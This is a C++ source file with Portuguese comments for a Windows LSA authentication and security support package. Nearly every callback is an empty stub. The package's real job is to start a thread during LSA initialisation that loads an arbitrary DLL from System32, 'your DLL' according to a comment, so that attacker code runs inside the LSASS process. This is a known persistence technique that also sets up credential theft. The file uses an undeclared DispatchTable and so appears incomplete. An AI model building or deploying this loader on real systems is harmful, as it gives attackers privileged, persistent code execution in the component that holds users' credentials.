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AuthPkg.cpp
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#include <ntstatus.h>
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")
// Função para carregar a DLL "test.dll" a partir do caminho "C:\\Windows\\System32\\"
int Go(void) {
HMODULE hModule = LoadLibrary("c:\\Windows\\System32\\test.dll"); // carregar a sua DLL
if (hModule == NULL) {
std::cerr << "Erro ao carregar a DLL" << std::endl;
return 1;
}
return 0;
}
// Inicializa o pacote de segurança.
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) {
return 0;
}
// Encerra o pacote de segurança.
NTSTATUS NTAPI SpShutDown(void) {
return 0;
}
// Retorna informações sobre o pacote de segurança.
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo) {
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = (SEC_WCHAR *)L"AuthPkgSSP";
PackageInfo->Comment = (SEC_WCHAR *)L"AuthPkgSSP";
return 0;
}
// Função chamada pelo LSA (Local Security Authority) ao carregar a DLL do pacote de segurança.
NTSTATUS LsaApInitializePackage(ULONG AuthenticationPackageId,
PLSA_DISPATCH_TABLE LsaDispatchTable,
PLSA_STRING Database,
PLSA_STRING Confidentiality,
PLSA_STRING *AuthenticationPackageName) {
PLSA_STRING name = NULL;
HANDLE th;
// Lança um código em uma nova thread
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Go, 0, 0, 0);
WaitForSingleObject(th, 0);
// Copia as funções da tabela do LSA para a tabela do pacote de segurança
DispatchTable.CreateLogonSession = LsaDispatchTable->CreateLogonSession;
DispatchTable.DeleteLogonSession = LsaDispatchTable->DeleteLogonSession;
DispatchTable.AddCredential = LsaDispatchTable->AddCredential;
DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials;
DispatchTable.DeleteCredential = LsaDispatchTable->DeleteCredential;
DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap;
DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap;
DispatchTable.AllocateClientBuffer = LsaDispatchTable->AllocateClientBuffer;
DispatchTable.FreeClientBuffer = LsaDispatchTable->FreeClientBuffer;
DispatchTable.CopyToClientBuffer = LsaDispatchTable->CopyToClientBuffer;
DispatchTable.CopyFromClientBuffer = LsaDispatchTable->CopyFromClientBuffer;
// Define o nome do pacote de segurança como "SubAuth"
name = (LSA_STRING *)LsaDispatchTable->AllocateLsaHeap(sizeof *name);
name->Buffer = (char *)LsaDispatchTable->AllocateLsaHeap(sizeof("SubAuth") + 1);
name->Length = sizeof("SubAuth") - 1;
name->MaximumLength = sizeof("SubAuth");
strcpy_s(name->Buffer, sizeof("SubAuth") + 1, "SubAuth");
// Retorna o nome do pacote de segurança
(*AuthenticationPackageName) = name;
return 0;
}
// Função para realizar o processo de logon do usuário.
NTSTATUS LsaApLogonUser(PLSA_CLIENT_REQUEST ClientRequest,
SECURITY_LOGON_TYPE LogonType,
PVOID AuthenticationInformation,
PVOID ClientAuthenticationBase,
ULONG AuthenticationInformationLength,
PVOID *ProfileBuffer,
PULONG ProfileBufferLength,
PLUID LogonId,
PNTSTATUS SubStatus,
PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
PVOID *TokenInformation,
PLSA_UNICODE_STRING *AccountName,
PLSA_UNICODE_STRING *AuthenticatingAuthority) {
return 0;
}
// Função para permitir a chamada de pacotes de segurança.
NTSTATUS LsaApCallPackage(PLSA_CLIENT_REQUEST ClientRequest,
PVOID ProtocolSubmitBuffer,
PVOID ClientBufferBase,
ULONG SubmitBufferLength,
PVOID *ProtocolReturnBuffer,
PULONG ReturnBufferLength,
PNTSTATUS ProtocolStatus) {
return 0;
}
// Função chamada quando o usuário faz logout do sistema.
void LsaApLogonTerminated(PLUID LogonId) {
}
// Função para permitir a chamada de pacotes de segurança não confiáveis.
NTSTATUS LsaApCallPackageUntrusted(
PLSA_CLIENT_REQUEST ClientRequest,
PVOID ProtocolSubmitBuffer,
PVOID ClientBufferBase,
ULONG SubmitBufferLength,
PVOID *ProtocolReturnBuffer,
PULONG ReturnBufferLength,
PNTSTATUS ProtocolStatus) {
return 0;
}
// Função para permitir a chamada de pacotes de segurança diretamente.
NTSTATUS LsaApCallPackagePassthrough(
PLSA_CLIENT_REQUEST ClientRequest,
PVOID ProtocolSubmitBuffer,
PVOID ClientBufferBase,
ULONG SubmitBufferLength,
PVOID *ProtocolReturnBuffer,
PULONG ReturnBufferLength,
PNTSTATUS ProtocolStatus) {
return 0;
}
// Versões estendidas das funções de logon do usuário.
NTSTATUS LsaApLogonUserEx(
PLSA_CLIENT_REQUEST ClientRequest,
SECURITY_LOGON_TYPE LogonType,
PVOID AuthenticationInformation,
PVOID ClientAuthenticationBase,
ULONG AuthenticationInformationLength,
PVOID *ProfileBuffer,
PULONG ProfileBufferLength,
PLUID LogonId,
PNTSTATUS SubStatus,
PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
PVOID *TokenInformation,
PUNICODE_STRING *AccountName,
PUNICODE_STRING *AuthenticatingAuthority,
PUNICODE_STRING *MachineName) {
return 0;
}
// Versões estendidas das funções de logon do usuário (mais recentes).
NTSTATUS LsaApLogonUserEx2(
PLSA_CLIENT_REQUEST ClientRequest,
SECURITY_LOGON_TYPE LogonType,
PVOID ProtocolSubmitBuffer,
PVOID ClientBufferBase,
ULONG SubmitBufferSize,
PVOID *ProfileBuffer,
PULONG ProfileBufferSize,
PLUID LogonId,
PNTSTATUS SubStatus,
PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
PVOID *TokenInformation,
PUNICODE_STRING *AccountName,
PUNICODE_STRING *AuthenticatingAuthority,
PUNICODE_STRING *MachineName,
PSECPKG_PRIMARY_CRED PrimaryCredentials,
PSECPKG_SUPPLEMENTAL_CRED_ARRAY *SupplementalCredentials) {
return 0;
}
// Tabela de funções do pacote de segurança
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] = {
{
LsaApInitializePackage,
LsaApLogonUser,
LsaApCallPackage,
LsaApLogonTerminated,
LsaApCallPackageUntrusted,
LsaApCallPackagePassthrough,
LsaApLogonUserEx,
LsaApLogonUserEx2,
SpInitialize,
SpShutDown,
(SpGetInfoFn *) SpGetInfo,
NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL,
NULL
}
};
// Função de inicialização do pacote de segurança em modo LSA.
NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion,
PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables) {
HANDLE th;
// Lança um código em uma nova thread
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Go, 0, 0, 0);
WaitForSingleObject(th, 0);
// Define a versão do pacote de segurança e a tabela de funções
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecurityPackageFunctionTable;
*pcTables = 1;
return STATUS_SUCCESS;
}
// Ponto de entrada da DLL
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}